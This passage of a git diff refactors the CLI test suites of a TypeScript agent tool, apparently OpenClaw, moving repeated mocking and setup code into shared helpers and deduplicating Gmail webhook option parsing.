totalTokens: 1003, - }, }); - const text = buildStatusMessage({ - agent: { - model: "anthropic/claude-opus-4-5", - contextTokens: 32_000, - }, - sessionEntry: { - sessionId, - updatedAt: 0, - totalTokens: 3, - contextTokens: 32_000, - }, + const text = buildTranscriptStatusText({ + sessionId, sessionKey: "agent:worker1:telegram:12345", - sessionScope: "per-sender", - queue: { mode: "collect", depth: 0 }, - includeTranscriptUsage: true, - modelAuth: "api-key", }); expect(normalizeTestText(text)).toContain("Context: 1.0k/32k"); diff --git a/src/cli/config-cli.test.ts b/src/cli/config-cli.test.ts index 0b193f923d5..c67bd0667b2 100644 --- a/src/cli/config-cli.test.ts +++ b/src/cli/config-cli.test.ts @@ -49,6 +49,18 @@ function buildSnapshot(params: { }; } +function setSnapshot(resolved: OpenClawConfig, config: OpenClawConfig) { + mockReadConfigFileSnapshot.mockResolvedValueOnce(buildSnapshot({ resolved, config })); +} + +async function runConfigCommand(args: string[]) { + const { registerConfigCli } = await import("./config-cli.js"); + const program = new Command(); + program.exitOverride(); + registerConfigCli(program); + await program.parseAsync(args, { from: "user" }); +} + describe("config cli", () => { beforeEach(() => { vi.clearAllMocks(); @@ -77,16 +89,9 @@ describe("config cli", () => { } as never, } as never, }; - mockReadConfigFileSnapshot.mockResolvedValueOnce( - buildSnapshot({ resolved, config: runtimeMerged }), - ); + setSnapshot(resolved, runtimeMerged); - const { registerConfigCli } = await import("./config-cli.js"); - const program = new Command(); - program.exitOverride(); - registerConfigCli(program); - - await program.parseAsync(["config", "set", "gateway.auth.mode", "token"], { from: "user" }); + await runConfigCommand(["config", "set", "gateway.auth.mode", "token"]); expect(mockWriteConfigFile).toHaveBeenCalledTimes(1); const written = mockWriteConfigFile.mock.calls[0]?.[0]; @@ -114,16 +119,9 @@ describe("config cli", () => { messages: { ackReaction: "✅" } as never, sessions: { persistence: { enabled: true } } as never, }; - mockReadConfigFileSnapshot.mockResolvedValueOnce( - buildSnapshot({ resolved, config: runtimeMerged }), - ); + setSnapshot(resolved, runtimeMerged); - const { registerConfigCli } = await import("./config-cli.js"); - const program = new Command(); - program.exitOverride(); - registerConfigCli(program); - - await program.parseAsync(["config", "set", "gateway.auth.mode", "token"], { from: "user" }); + await runConfigCommand(["config", "set", "gateway.auth.mode", "token"]); expect(mockWriteConfigFile).toHaveBeenCalledTimes(1); const written = mockWriteConfigFile.mock.calls[0]?.[0]; @@ -157,16 +155,9 @@ describe("config cli", () => { }, } as never, }; - mockReadConfigFileSnapshot.mockResolvedValueOnce( - buildSnapshot({ resolved, config: runtimeMerged }), - ); + setSnapshot(resolved, runtimeMerged); - const { registerConfigCli } = await import("./config-cli.js"); - const program = new Command(); - program.exitOverride(); - registerConfigCli(program); - - await program.parseAsync(["config", "unset", "tools.alsoAllow"], { from: "user" }); + await runConfigCommand(["config", "unset", "tools.alsoAllow"]); expect(mockWriteConfigFile).toHaveBeenCalledTimes(1); const written = mockWriteConfigFile.mock.calls[0]?.[0]; diff --git a/src/cli/cron-cli.test.ts b/src/cli/cron-cli.test.ts index 2bd437fb092..aa0e49cdfc3 100644 --- a/src/cli/cron-cli.test.ts +++ b/src/cli/cron-cli.test.ts @@ -29,6 +29,13 @@ vi.mock("../runtime.js", () => ({ const { registerCronCli } = await import("./cron-cli.js"); +type CronUpdatePatch = { + patch?: { + payload?: { message?: string }; + delivery?: { mode?: string; channel?: string; to?: string; bestEffort?: boolean }; + }; +}; + function buildProgram() { const program = new Command(); program.exitOverride(); @@ -36,6 +43,14 @@ function buildProgram() { return program; } +async function runCronEditAndGetPatch(editArgs: string[]): Promise { + callGatewayFromCli.mockClear(); + const program = buildProgram(); + await program.parseAsync(["cron", "edit", "job-1", ...editArgs], { from: "user" }); + const updateCall = callGatewayFromCli.mock.calls.find((call) => call[0] === "cron.update"); + return (updateCall?.[2] ?? {}) as CronUpdatePatch; +} + describe("cron cli", () => { it("trims model and thinking on cron add", { timeout: 60_000 }, async () => { callGatewayFromCli.mockClear(); @@ -347,34 +362,15 @@ describe("cron cli", () => { }); it("includes delivery fields when explicitly provided with message", async () => { - callGatewayFromCli.mockClear(); - - const program = buildProgram(); - - // Update message AND delivery - should include both - await program.parseAsync( - [ - "cron", - "edit", - "job-1", - "--message", - "Updated message", - "--deliver", - "--channel", - "telegram", - "--to", - "19098680", - ], - { from: "user" }, - ); - - const updateCall = callGatewayFromCli.mock.calls.find((call) => call[0] === "cron.update"); - const patch = updateCall?.[2] as { - patch?: { - payload?: { message?: string }; - delivery?: { mode?: string; channel?: string; to?: string }; - }; - }; + const patch = await runCronEditAndGetPatch([ + "--message", + "Updated message", + "--deliver", + "--channel", + "telegram", + "--to", + "19098680", + ]); // Should include everything expect(patch?.patch?.payload?.message).toBe("Updated message"); @@ -384,22 +380,11 @@ describe("cron cli", () => { }); it("includes best-effort delivery when provided with message", async () => { - callGatewayFromCli.mockClear(); - - const program = buildProgram(); - - await program.parseAsync( - ["cron", "edit", "job-1", "--message", "Updated message", "--best-effort-deliver"], - { from: "user" }, - ); - - const updateCall = callGatewayFromCli.mock.calls.find((call) => call[0] === "cron.update"); - const patch = updateCall?.[2] as { - patch?: { - payload?: { message?: string }; - delivery?: { bestEffort?: boolean; mode?: string }; - }; - }; + const patch = await runCronEditAndGetPatch([ + "--message", + "Updated message", + "--best-effort-deliver", + ]); expect(patch?.patch?.payload?.message).toBe("Updated message"); expect(patch?.patch?.delivery?.mode).toBe("announce"); @@ -407,22 +392,11 @@ describe("cron cli", () => { }); it("includes no-best-effort delivery when provided with message", async () => { - callGatewayFromCli.mockClear(); - - const program = buildProgram(); - - await program.parseAsync( - ["cron", "edit", "job-1", "--message", "Updated message", "--no-best-effort-deliver"], - { from: "user" }, - ); - - const updateCall = callGatewayFromCli.mock.calls.find((call) => call[0] === "cron.update"); - const patch = updateCall?.[2] as { - patch?: { - payload?: { message?: string }; - delivery?: { bestEffort?: boolean; mode?: string }; - }; - }; + const patch = await runCronEditAndGetPatch([ + "--message", + "Updated message", + "--no-best-effort-deliver", + ]); expect(patch?.patch?.payload?.message).toBe("Updated message"); expect(patch?.patch?.delivery?.mode).toBe("announce"); diff --git a/src/cli/gateway-cli.coverage.e2e.test.ts b/src/cli/gateway-cli.coverage.e2e.test.ts index 3edaa84b2ca..1fff4075b19 100644 --- a/src/cli/gateway-cli.coverage.e2e.test.ts +++ b/src/cli/gateway-cli.coverage.e2e.test.ts @@ -1,5 +1,6 @@ import { Command } from "commander"; import { describe, expect, it, vi } from "vitest"; +import { withEnvOverride } from "../config/test-helpers.js"; const callGateway = vi.fn(async () => ({ ok: true })); const startGatewayServer = vi.fn(async () => ({ @@ -25,32 +26,6 @@ const defaultRuntime = { }, }; -async function withEnvOverride( - overrides: Record, - fn: () => Promise, -): Promise { - const saved: Record = {}; - for (const key of Object.keys(overrides)) { - saved[key] = process.env[key]; - if (overrides[key] === undefined) { - delete process.env[key]; - } else { - process.env[key] = overrides[key]; - } - } - try { - return await fn(); - } finally { - for (const key of Object.keys(saved)) { - if (saved[key] === undefined) { - delete process.env[key]; - } else { - process.env[key] = saved[key]; - } - } - } -} - vi.mock( new URL("../../gateway/call.ts", new URL("./gateway-cli/call.ts", import.meta.url)).href, () => ({ diff --git a/src/cli/hooks-cli.test.ts b/src/cli/hooks-cli.test.ts index e559040205d..5d99b7c7fb5 100644 --- a/src/cli/hooks-cli.test.ts +++ b/src/cli/hooks-cli.test.ts @@ -1,6 +1,7 @@ import { describe, expect, it } from "vitest"; import type { HookStatusReport } from "../hooks/hooks-status.js"; import { formatHooksCheck, formatHooksList } from "./hooks-cli.js"; +import { createEmptyInstallChecks } from "./requirements-test-fixtures.js"; const report: HookStatusReport = { workspaceDir: "/tmp/workspace", @@ -22,22 +23,7 @@ const report: HookStatusReport = { disabled: false, eligible: true, managedByPlugin: false, - requirements: { - bins: [], - anyBins: [], - env: [], - config: [], - os: [], - }, - missing: { - bins: [], - anyBins: [], - env: [], - config: [], - os: [], - }, - configChecks: [], - install: [], + ...createEmptyInstallChecks(), }, ], }; @@ -75,22 +61,7 @@ describe("hooks cli formatting", () => { disabled: false, eligible: true, managedByPlugin: true, - requirements: { - bins: [], - anyBins: [], - env: [], - config: [], - os: [], - }, - missing: { - bins: [], - anyBins: [], - env: [], - config: [], - os: [], - }, - configChecks: [], - install: [], + ...createEmptyInstallChecks(), }, ], }; diff --git a/src/cli/logs-cli.test.ts b/src/cli/logs-cli.test.ts index b7925bf812b..eb16dcca57e 100644 --- a/src/cli/logs-cli.test.ts +++ b/src/cli/logs-cli.test.ts @@ -12,6 +12,14 @@ vi.mock("./gateway-rpc.js", async () => { }; }); +async function runLogsCli(argv: string[]) { + const { registerLogsCli } = await import("./logs-cli.js"); + const program = new Command(); + program.exitOverride(); + registerLogsCli(program); + await program.parseAsync(argv, { from: "user" }); +} + describe("logs cli", () => { afterEach(() => { callGatewayFromCli.mockReset(); @@ -38,12 +46,7 @@ describe("logs cli", () => { return true; }); - const { registerLogsCli } = await import("./logs-cli.js"); - const program = new Command(); - program.exitOverride(); - registerLogsCli(program); - - await program.parseAsync(["logs"], { from: "user" }); + await runLogsCli(["logs"]); stdoutSpy.mockRestore(); stderrSpy.mockRestore(); @@ -72,12 +75,7 @@ describe("logs cli", () => { return true; }); - const { registerLogsCli } = await import("./logs-cli.js"); - const program = new Command(); - program.exitOverride(); - registerLogsCli(program); - - await program.parseAsync(["logs", "--local-time", "--plain"], { from: "user" }); + await runLogsCli(["logs", "--local-time", "--plain"]); stdoutSpy.mockRestore(); @@ -105,12 +103,7 @@ describe("logs cli", () => { return true; }); - const { registerLogsCli } = await import("./logs-cli.js"); - const program = new Command(); - program.exitOverride(); - registerLogsCli(program); - - await program.parseAsync(["logs"], { from: "user" }); + await runLogsCli(["logs"]); stdoutSpy.mockRestore(); stderrSpy.mockRestore(); diff --git a/src/cli/memory-cli.test.ts b/src/cli/memory-cli.test.ts index b5dc938ba94..4dbe4220d9e 100644 --- a/src/cli/memory-cli.test.ts +++ b/src/cli/memory-cli.test.ts @@ -29,6 +29,12 @@ afterEach(async () => { }); describe("memory cli", () => { + function expectCliSync(sync: ReturnType) { + expect(sync).toHaveBeenCalledWith( + expect.objectContaining({ reason: "cli", force: false, progress: expect.any(Function) }), + ); + } + it("prints vector status when available", async () => { const { registerMemoryCli } = await import("./memory-cli.js"); const { defaultRuntime } = await import("../runtime.js"); @@ -244,9 +250,7 @@ describe("memory cli", () => { registerMemoryCli(program); await program.parseAsync(["memory", "status", "--index"], { from: "user" }); - expect(sync).toHaveBeenCalledWith( - expect.objectContaining({ reason: "cli", force: false, progress: expect.any(Function) }), - ); + expectCliSync(sync); expect(probeEmbeddingAvailability).toHaveBeenCalled(); expect(close).toHaveBeenCalled(); }); @@ -269,9 +273,7 @@ describe("memory cli", () => { registerMemoryCli(program); await program.parseAsync(["memory", "index"], { from: "user" }); - expect(sync).toHaveBeenCalledWith( - expect.objectContaining({ reason: "cli", force: false, progress: expect.any(Function) }), - ); + expectCliSync(sync); expect(close).toHaveBeenCalled(); expect(log).toHaveBeenCalledWith("Memory index updated (main)."); }); @@ -298,9 +300,7 @@ describe("memory cli", () => { registerMemoryCli(program); await program.parseAsync(["memory", "index"], { from: "user" }); - expect(sync).toHaveBeenCalledWith( - expect.objectContaining({ reason: "cli", force: false, progress: expect.any(Function) }), - ); + expectCliSync(sync); expect(log).toHaveBeenCalledWith(expect.stringContaining("QMD index: ")); expect(log).toHaveBeenCalledWith("Memory index updated (main)."); expect(close).toHaveBeenCalled(); @@ -329,9 +329,7 @@ describe("memory cli", () => { registerMemoryCli(program); await program.parseAsync(["memory", "index"], { from: "user" }); - expect(sync).toHaveBeenCalledWith( - expect.objectContaining({ reason: "cli", force: false, progress: expect.any(Function) }), - ); + expectCliSync(sync); expect(error).toHaveBeenCalledWith( expect.stringContaining("Memory index failed (main): QMD index file is empty"), ); @@ -360,9 +358,7 @@ describe("memory cli", () => { registerMemoryCli(program); await program.parseAsync(["memory", "index"], { from: "user" }); - expect(sync).toHaveBeenCalledWith( - expect.objectContaining({ reason: "cli", force: false, progress: expect.any(Function) }), - ); + expectCliSync(sync); expect(close).toHaveBeenCalled(); expect(error).toHaveBeenCalledWith( expect.stringContaining("Memory manager close failed: close boom"), diff --git a/src/cli/program.nodes-media.e2e.test.ts b/src/cli/program.nodes-media.e2e.test.ts index e31f52d406d..02c30cedd0f 100644 --- a/src/cli/program.nodes-media.e2e.test.ts +++ b/src/cli/program.nodes-media.e2e.test.ts @@ -13,6 +13,23 @@ function getFirstRuntimeLogLine(): string { return first; } +async function expectLoggedSingleMediaFile(params?: { + expectedContent?: string; + expectedPathPattern?: RegExp; +}): Promise { + const out = getFirstRuntimeLogLine(); + const mediaPath = out.replace(/^MEDIA:/, "").trim(); + if (params?.expectedPathPattern) { + expect(mediaPath).toMatch(params.expectedPathPattern); + } + try { + await expect(fs.readFile(mediaPath, "utf8")).resolves.toBe(params?.expectedContent ?? "hi"); + } finally { + await fs.unlink(mediaPath).catch(() => {}); + } + return mediaPath; +} + const IOS_NODE = { nodeId: "ios-node", displayName: "iOS Node", @@ -20,10 +37,7 @@ const IOS_NODE = { connected: true, } as const; -function mockCameraGateway( - command: "camera.snap" | "camera.clip", - payload: Record, -) { +function mockNodeGateway(command?: string, payload?: Record) { callGateway.mockImplementation(async (opts: { method?: string }) => { if (opts.method === "node.list") { return { @@ -31,7 +45,7 @@ function mockCameraGateway( nodes: [IOS_NODE], }; } - if (opts.method === "node.invoke") { + if (opts.method === "node.invoke" && command) { return { ok: true, nodeId: IOS_NODE.nodeId, @@ -52,7 +66,7 @@ describe("cli program (nodes media)", () => { }); it("runs nodes camera snap and prints two MEDIA paths", async () => { - mockCameraGateway("camera.snap", { format: "jpg", base64: "aGk=", width: 1, height: 1 }); + mockNodeGateway("camera.snap", { format: "jpg", base64: "aGk=", width: 1, height: 1 }); const program = buildProgram(); runtime.log.mockClear(); @@ -85,34 +99,11 @@ describe("cli program (nodes media)", () => { }); it("runs nodes camera clip and prints one MEDIA path", async () => { - callGateway.mockImplementation(async (opts: { method?: string }) => { - if (opts.method === "node.list") { - return { - ts: Date.now(), - nodes: [ - { - nodeId: "ios-node", - displayName: "iOS Node", - remoteIp: "192.168.0.88", - connected: true, - }, - ], - }; - } - if (opts.method === "node.invoke") { - return { - ok: true, - nodeId: "ios-node", - command: "camera.clip", - payload: { - format: "mp4", - base64: "aGk=", - durationMs: 3000, - hasAudio: true, - }, - }; - } - return { ok: true }; + mockNodeGateway("camera.clip", { + format: "mp4", + base64: "aGk=", + durationMs: 3000, + hasAudio: true, }); const program = buildProgram(); @@ -140,19 +131,13 @@ describe("cli program (nodes media)", () => { }), ); - const out = getFirstRuntimeLogLine(); - const mediaPath = out.replace(/^MEDIA:/, "").trim(); - expect(mediaPath).toMatch(/openclaw-camera-clip-front-.*\.mp4$/); - - try { - await expect(fs.readFile(mediaPath, "utf8")).resolves.toBe("hi"); - } finally { - await fs.unlink(mediaPath).catch(() => {}); - } + await expectLoggedSingleMediaFile({ + expectedPathPattern: /openclaw-camera-clip-front-.*\.mp4$/, + }); }); it("runs nodes camera snap with facing front and passes params", async () => { - mockCameraGateway("camera.snap", { format: "jpg", base64: "aGk=", width: 1, height: 1 }); + mockNodeGateway("camera.snap", { format: "jpg", base64: "aGk=", width: 1, height: 1 }); const program = buildProgram(); runtime.log.mockClear(); @@ -196,45 +181,15 @@ describe("cli program (nodes media)", () => { }), ); - const out = getFirstRuntimeLogLine(); - const mediaPath = out.replace(/^MEDIA:/, "").trim(); - - try { - await expect(fs.readFile(mediaPath, "utf8")).resolves.toBe("hi"); - } finally { - await fs.unlink(mediaPath).catch(() => {}); - } + await expectLoggedSingleMediaFile(); }); it("runs nodes camera clip with --no-audio", async () => { - callGateway.mockImplementation(async (opts: { method?: string }) => { - if (opts.method === "node.list") { - return { - ts: Date.now(), - nodes: [ - { - nodeId: "ios-node", - displayName: "iOS Node", - remoteIp: "192.168.0.88", - connected: true, - }, - ], - }; - } - if (opts.method === "node.invoke") { - return { - ok: true, - nodeId: "ios-node", - command: "camera.clip", - payload: { - format: "mp4", - base64: "aGk=", - durationMs: 3000, - hasAudio: false, - }, - }; - } - return { ok: true }; + mockNodeGateway("camera.clip", { + format: "mp4", + base64: "aGk=", + durationMs: 3000, + hasAudio: false, }); const program = buildProgram(); @@ -271,45 +226,15 @@ describe("cli program (nodes media)", () => { }), ); - const out = getFirstRuntimeLogLine(); - const mediaPath = out.replace(/^MEDIA:/, "").trim(); - - try { - await expect(fs.readFile(mediaPath, "utf8")).resolves.toBe("hi"); - } finally { - await fs.unlink(mediaPath).catch(() => {}); - } + await expectLoggedSingleMediaFile(); }); it("runs nodes camera clip with human duration (10s)", async () => { - callGateway.mockImplementation(async (opts: { method?: string }) => { - if (opts.method === "node.list") { - return { - ts: Date.now(), - nodes: [ - { - nodeId: "ios-node", - displayName: "iOS Node", - remoteIp: "192.168.0.88", - connected: true, - }, - ], - }; - } - if (opts.method === "node.invoke") { - return { - ok: true, - nodeId: "ios-node", - command: "camera.clip", - payload: { - format: "mp4", - base64: "aGk=", - durationMs: 10_000, - hasAudio: true, - }, - }; - } - return { ok: true }; + mockNodeGateway("camera.clip", { + format: "mp4", + base64: "aGk=", + durationMs: 10_000, + hasAudio: true, }); const program = buildProgram(); @@ -332,30 +257,7 @@ describe("cli program (nodes media)", () => { }); it("runs nodes canvas snapshot and prints MEDIA path", async () => { - callGateway.mockImplementation(async (opts: { method?: string }) => { - if (opts.method === "node.list") { - return { - ts: Date.now(), - nodes: [ - { - nodeId: "ios-node", - displayName: "iOS Node", - remoteIp: "192.168.0.88", - connected: true, - }, - ], - }; - } - if (opts.method === "node.invoke") { - return { - ok: true, - nodeId: "ios-node", - command: "canvas.snapshot", - payload: { format: "png", base64: "aGk=" }, - }; - } - return { ok: true }; - }); + mockNodeGateway("canvas.snapshot", { format: "png", base64: "aGk=" }); const program = buildProgram(); runtime.log.mockClear(); @@ -364,34 +266,13 @@ describe("cli program (nodes media)", () => { { from: "user" }, ); - const out = getFirstRuntimeLogLine(); - const mediaPath = out.replace(/^MEDIA:/, "").trim(); - expect(mediaPath).toMatch(/openclaw-canvas-snapshot-.*\.png$/); - - try { - await expect(fs.readFile(mediaPath, "utf8")).resolves.toBe("hi"); - } finally { - await fs.unlink(mediaPath).catch(() => {}); - } + await expectLoggedSingleMediaFile({ + expectedPathPattern: /openclaw-canvas-snapshot-.*\.png$/, + }); }); it("fails nodes camera snap on invalid facing", async () => { - callGateway.mockImplementation(async (opts: { method?: string }) => { - if (opts.method === "node.list") { - return { - ts: Date.now(), - nodes: [ - { - nodeId: "ios-node", - displayName: "iOS Node", - remoteIp: "192.168.0.88", - connected: true, - }, - ], - }; - } - return { ok: true }; - }); + mockNodeGateway(); const program = buildProgram(); runtime.error.mockClear(); @@ -426,34 +307,11 @@ describe("cli program (nodes media)", () => { }); it("runs nodes camera snap with url payload", async () => { - callGateway.mockImplementation(async (opts: { method?: string }) => { - if (opts.method === "node.list") { - return { - ts: Date.now(), - nodes: [ - { - nodeId: "ios-node", - displayName: "iOS Node", - remoteIp: "192.168.0.88", - connected: true, - }, - ], - }; - } - if (opts.method === "node.invoke") { - return { - ok: true, - nodeId: "ios-node", - command: "camera.snap", - payload: { - format: "jpg", - url: "https://example.com/photo.jpg", - width: 640, - height: 480, - }, - }; - } - return { ok: true }; + mockNodeGateway("camera.snap", { + format: "jpg", + url: "https://example.com/photo.jpg", + width: 640, + height: 480, }); const program = buildProgram(); @@ -463,46 +321,18 @@ describe("cli program (nodes media)", () => { { from: "user" }, ); - const out = getFirstRuntimeLogLine(); - const mediaPath = out.replace(/^MEDIA:/, "").trim(); - expect(mediaPath).toMatch(/openclaw-camera-snap-front-.*\.jpg$/); - - try { - await expect(fs.readFile(mediaPath, "utf8")).resolves.toBe("url-content"); - } finally { - await fs.unlink(mediaPath).catch(() => {}); - } + await expectLoggedSingleMediaFile({ + expectedPathPattern: /openclaw-camera-snap-front-.*\.jpg$/, + expectedContent: "url-content", + }); }); it("runs nodes camera clip with url payload", async () => { - callGateway.mockImplementation(async (opts: { method?: string }) => { - if (opts.method === "node.list") { - return { - ts: Date.now(), - nodes: [ - { - nodeId: "ios-node", - displayName: "iOS Node", - remoteIp: "192.168.0.88", - connected: true, - }, - ], - }; - } - if (opts.method === "node.invoke") { - return { - ok: true, - nodeId: "ios-node", - command: "camera.clip", - payload: { - format: "mp4", - url: "https://example.com/clip.mp4", - durationMs: 5000, - hasAudio: true, - }, - }; - } - return { ok: true }; + mockNodeGateway("camera.clip", { + format: "mp4", + url: "https://example.com/clip.mp4", + durationMs: 5000, + hasAudio: true, }); const program = buildProgram(); @@ -512,15 +342,10 @@ describe("cli program (nodes media)", () => { { from: "user" }, ); - const out = getFirstRuntimeLogLine(); - const mediaPath = out.replace(/^MEDIA:/, "").trim(); - expect(mediaPath).toMatch(/openclaw-camera-clip-front-.*\.mp4$/); - - try { - await expect(fs.readFile(mediaPath, "utf8")).resolves.toBe("url-content"); - } finally { - await fs.unlink(mediaPath).catch(() => {}); - } + await expectLoggedSingleMediaFile({ + expectedPathPattern: /openclaw-camera-clip-front-.*\.mp4$/, + expectedContent: "url-content", + }); }); }); diff --git a/src/cli/requirements-test-fixtures.ts b/src/cli/requirements-test-fixtures.ts new file mode 100644 index 00000000000..a8cda44fd7b --- /dev/null +++ b/src/cli/requirements-test-fixtures.ts @@ -0,0 +1,18 @@ +export function createEmptyRequirements() { + return { + bins: [], + anyBins: [], + env: [], + config: [], + os: [], + }; +} + +export function createEmptyInstallChecks() { + return { + requirements: createEmptyRequirements(), + missing: createEmptyRequirements(), + configChecks: [], + install: [], + }; +} diff --git a/src/cli/skills-cli.test.ts b/src/cli/skills-cli.test.ts index b539caada9d..35a24039343 100644 --- a/src/cli/skills-cli.test.ts +++ b/src/cli/skills-cli.test.ts @@ -1,5 +1,11 @@ -import { describe, expect, it, vi } from "vitest"; +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; import type { SkillStatusEntry, SkillStatusReport } from "../agents/skills-status.js"; +import type { SkillEntry } from "../agents/skills.js"; +import { captureEnv } from "../test-utils/env.js"; +import { createEmptyInstallChecks } from "./requirements-test-fixtures.js"; import { formatSkillInfo, formatSkillsCheck, formatSkillsList } from "./skills-cli.format.js"; // Unit tests: don't pay the runtime cost of loading/parsing the real skills loader. @@ -23,22 +29,7 @@ function createMockSkill(overrides: Partial = {}): SkillStatus disabled: false, blockedByAllowlist: false, eligible: true, - requirements: { - bins: [], - anyBins: [], - env: [], - config: [], - os: [], - }, - missing: { - bins: [], - anyBins: [], - env: [], - config: [], - os: [], - }, - configChecks: [], - install: [], + ...createEmptyInstallChecks(), ...overrides, }; } @@ -211,4 +202,87 @@ describe("skills-cli", () => { expect(parsed.summary.total).toBe(2); }); }); + + describe("integration: loads real skills from bundled directory", () => { + let tempWorkspaceDir = ""; + let tempBundledDir = ""; + let envSnapshot: ReturnType; + let buildWorkspaceSkillStatus: typeof import("../agents/skills-status.js").buildWorkspaceSkillStatus; + + beforeAll(async () => { + envSnapshot = captureEnv(["OPENCLAW_BUNDLED_SKILLS_DIR"]); + tempWorkspaceDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-skills-test-")); + tempBundledDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-bundled-skills-test-")); + process.env.OPENCLAW_BUNDLED_SKILLS_DIR = tempBundledDir; + ({ buildWorkspaceSkillStatus } = await import("../agents/skills-status.js")); + }); + + afterAll(() => { + if (tempWorkspaceDir) { + fs.rmSync(tempWorkspaceDir, { recursive: true, force: true }); + } + if (tempBundledDir) { + fs.rmSync(tempBundledDir, { recursive: true, force: true }); + } + envSnapshot.restore(); + }); + + const createEntries = (): SkillEntry[] => { + const baseDir = path.join(tempWorkspaceDir, "peekaboo"); + return [ + { + skill: { + name: "peekaboo", + description: "Capture UI screenshots", + source: "openclaw-bundled", + filePath: path.join(baseDir, "SKILL.md"), + baseDir, + } as SkillEntry["skill"], + frontmatter: {}, + metadata: { emoji: "📸" }, + }, + ]; + }; + + it("loads bundled skills and formats them", async () => { + const entries = createEntries(); + const report = buildWorkspaceSkillStatus(tempWorkspaceDir, { + managedSkillsDir: "/nonexistent", + entries, + }); + + // Should have loaded some skills + expect(report.skills.length).toBeGreaterThan(0); + + // Format should work without errors + const listOutput = formatSkillsList(report, {}); + expect(listOutput).toContain("Skills"); + + const checkOutput = formatSkillsCheck(report, {}); + expect(checkOutput).toContain("Total:"); + + // JSON output should be valid + const jsonOutput = formatSkillsList(report, { json: true }); + const parsed = JSON.parse(jsonOutput); + expect(parsed.skills).toBeInstanceOf(Array); + }); + + it("formats info for a real bundled skill (peekaboo)", async () => { + const entries = createEntries(); + const report = buildWorkspaceSkillStatus(tempWorkspaceDir, { + managedSkillsDir: "/nonexistent", + entries, + }); + + // peekaboo is a bundled skill that should always exist + const peekaboo = report.skills.find((s) => s.name === "peekaboo"); + if (!peekaboo) { + throw new Error("peekaboo fixture skill missing"); + } + + const output = formatSkillInfo(report, "peekaboo", {}); + expect(output).toContain("peekaboo"); + expect(output).toContain("Details:"); + }); + }); }); diff --git a/src/cli/update-cli.test.ts b/src/cli/update-cli.test.ts index 550bbbf43ec..89141bd5152 100644 --- a/src/cli/update-cli.test.ts +++ b/src/cli/update-cli.test.ts @@ -35,46 +35,10 @@ vi.mock("../config/config.js", () => ({ writeConfigFile: vi.fn(), })); -vi.mock("../infra/update-check.js", () => { - const parseSemver = ( - value: string | null, - ): { major: number; minor: number; patch: number } | null => { - if (!value) { - return null; - } - const m = /^(\d+)\.(\d+)\.(\d+)/.exec(value); - if (!m) { - return null; - } - const major = Number(m[1]); - const minor = Number(m[2]); - const patch = Number(m[3]); - if (!Number.isFinite(major) || !Number.isFinite(minor) || !Number.isFinite(patch)) { - return null; - } - return { major, minor, patch }; - }; - - const compareSemverStrings = (a: string | null, b: string | null): number | null => { - const pa = parseSemver(a); - const pb = parseSemver(b); - if (!pa || !pb) { - return null; - } - if (pa.major !== pb.major) { - return pa.major < pb.major ? -1 : 1; - } - if (pa.minor !== pb.minor) { - return pa.minor < pb.minor ? -1 : 1; - } - if (pa.patch !== pb.patch) { - return pa.patch < pb.patch ? -1 : 1; - } - return 0; - }; - +vi.mock("../infra/update-check.js", async (importOriginal) => { + const actual = await importOriginal(); return { - compareSemverStrings, + ...actual, checkUpdateStatus: vi.fn(), fetchNpmTagVersion: vi.fn(), resolveNpmChannelTag: vi.fn(), diff --git a/src/cli/webhooks-cli.ts b/src/cli/webhooks-cli.ts index c5a551afd8f..d59961653f8 100644 --- a/src/cli/webhooks-cli.ts +++ b/src/cli/webhooks-cli.ts @@ -114,21 +114,7 @@ function parseGmailSetupOptions(raw: Record): GmailSetupOptions return { account, project: stringOption(raw.project), - topic: common.topic, - subscription: common.subscription, - label: common.label, - hookUrl: common.hookUrl, - hookToken: common.hookToken, - pushToken: common.pushToken, - bind: common.bind, - port: common.port, - path: common.path, - includeBody: common.includeBody, - maxBytes: common.maxBytes, - renewEveryMinutes: common.renewEveryMinutes, - tailscale: common.tailscaleRaw as GmailSetupOptions["tailscale"], - tailscalePath: common.tailscalePath, - tailscaleTarget: common.tailscaleTarget, + ...gmailOptionsFromCommon(common), pushEndpoint: stringOption(raw.pushEndpoint), json: Boolean(raw.json), }; @@ -138,21 +124,7 @@ function parseGmailRunOptions(raw: Record): GmailRunOptions { const common = parseGmailCommonOptions(raw); return { account: stringOption(raw.account), - topic: common.topic, - subscription: common.subscription, - label: common.label, - hookUrl: common.hookUrl, - hookToken: common.hookToken, - pushToken: common.pushToken, - bind: common.bind, - port: common.port, - path: common.path, - includeBody: common.includeBody, - maxBytes: common.maxBytes, - renewEveryMinutes: common.renewEveryMinutes, - tailscale: common.tailscaleRaw as GmailRunOptions["tailscale"], - tailscalePath: common.tailscalePath, - tailscaleTarget: common.tailscaleTarget, + ...gmailOptionsFromCommon(common), }; } @@ -176,6 +148,28 @@ function parseGmailCommonOptions(raw: Record) { }; } +function gmailOptionsFromCommon( + common: ReturnType, +): Omit { + return { + topic: common.topic, + subscription: common.subscription, + label: common.label, + hookUrl: common.hookUrl, + hookToken: common.hookToken, + pushToken: common.pushToken, + bind: common.bind, + port: common.port, + path: common.path, + includeBody: common.includeBody, + maxBytes: common.maxBytes, + renewEveryMinutes: common.renewEveryMinutes, + tailscale: common.tailscaleRaw as GmailRunOptions["tailscale"], + tailscalePath: common.tailscalePath, + tailscaleTarget: common.tailscaleTarget, + }; +} + function stringOption(value: unknown): string | undefined { if (typeof value !== "string") { return undefined; diff --git a/src/commands/agent-via-gateway.e2e.test.ts b/src/commands/agent-via-gateway.e2e.test.ts index 2b364091aee..6fbf790e19e 100644 --- a/src/commands/agent-via-gateway.e2e.test.ts +++ b/src/commands/agent-via-gateway.e2e.test.ts @@ -43,94 +43,86 @@ function mockConfig(storePath: string, overrides?: Partial) { }); } +async function withTempStore( + fn: (ctx: { dir: string; store: string }) => Promise, + overrides?: Partial, +) { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-agent-cli-")); + const store = path.join(dir, "sessions.json"); + mockConfig(store, overrides); + try { + await fn({ dir, store }); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } +} + beforeEach(() => { vi.clearAllMocks(); }); describe("agentCliCommand", () => { it("uses a timer-safe max gateway timeout when --timeout is 0", async () => { - const dir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-agent-cli-")); - const store = path.join(dir, "sessions.json"); - mockConfig(store); + await withTempStore(async () => { + 